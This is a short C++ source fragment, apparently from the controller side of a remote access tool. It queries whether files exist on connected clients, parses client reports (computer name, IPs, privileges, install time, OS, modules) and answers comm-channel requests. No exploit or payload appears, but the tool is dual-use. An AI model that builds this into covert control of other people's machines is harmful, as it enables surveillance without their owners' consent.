BOOL Shell::FileExistsInClient( LPCTSTR filepath, BOOL& bExists, BOOL& bDir ) { tstring target = filepath; trim(target, ' '); trim(target, '\\'); trim(target, '/'); CommData request; request.SetMsgID(MSGID_FILE_EXISTS); request.SetData(_T("filepath"), target.c_str()); CommData commData; if (! AskAndWaitForReply(request, commData)) { return FALSE; } DECLARE_UINT64_PARAM(exists); DECLARE_UINT64_PARAM(isdir); bExists = (exists ? TRUE : FALSE); bDir = (isdir ? TRUE : FALSE); return TRUE; }
BOOL ClientInfoManager::ParseData( const CommData& commData, CLIENT_BASE_INFO& baseInfo ) const { DECLARE_STR_PARAM(cn); DECLARE_STR_PARAM(ip); DECLARE_STR_PARAM(groups); DECLARE_STR_PARAM(vercode); DECLARE_STR_PARAM(priv); DECLARE_UINT64_PARAM(lang); DECLARE_UINT64_PARAM(mem); DECLARE_UINT64_PARAM(instime); DECLARE_UINT64_PARAM(os); DECLARE_UINT64_PARAM(x64); DECLARE_UINT64_PARAM(proto); DECLARE_UINT64_PARAM(cpufrep); DECLARE_UINT64_PARAM(cpunum); tstring mods; commData.GetStrData(_T("mods"), mods); baseInfo.computerName = cn; splitByChar(ip.c_str(), baseInfo.localIPList, ','); baseInfo.installTime = instime; baseInfo.windowsVersion = (WIN_VER_DETAIL) os; baseInfo.bX64 = (BOOL)x64; baseInfo.mods = mods; baseInfo.commtype = (COMM_NAME)proto; baseInfo.cpufrep = cpufrep; baseInfo.cpunum = cpunum; baseInfo.memsize = mem; baseInfo.groups = groups; baseInfo.priv = priv; baseInfo.vercode = vercode; baseInfo.lang = TransferLanguage(lang); _time64(&baseInfo.reportTime); SOCKADDR_IN addr; if (CommManager::GetInstanceRef().GetLastConnectionAddr(commData.GetClientID(), addr)) { baseInfo.connectIP = addr.sin_addr.S_un.S_addr; } else { baseInfo.connectIP = 0; } baseInfo.bValid = TRUE; return TRUE; }
BOOL CommManager::MsgHandler_AvailableComm( MSGID msgid, const CommData& commData, LPVOID lpParameter ) { DECLARE_UINT64_PARAM(commname); CommManager* pMgr = (CommManager*) lpParameter; CommData reply; reply.Reply(commData); reply.SetData(_T("commname"), commname); pMgr->AddToSendMessage(commData.GetClientID(), reply, FALSE); return TRUE; }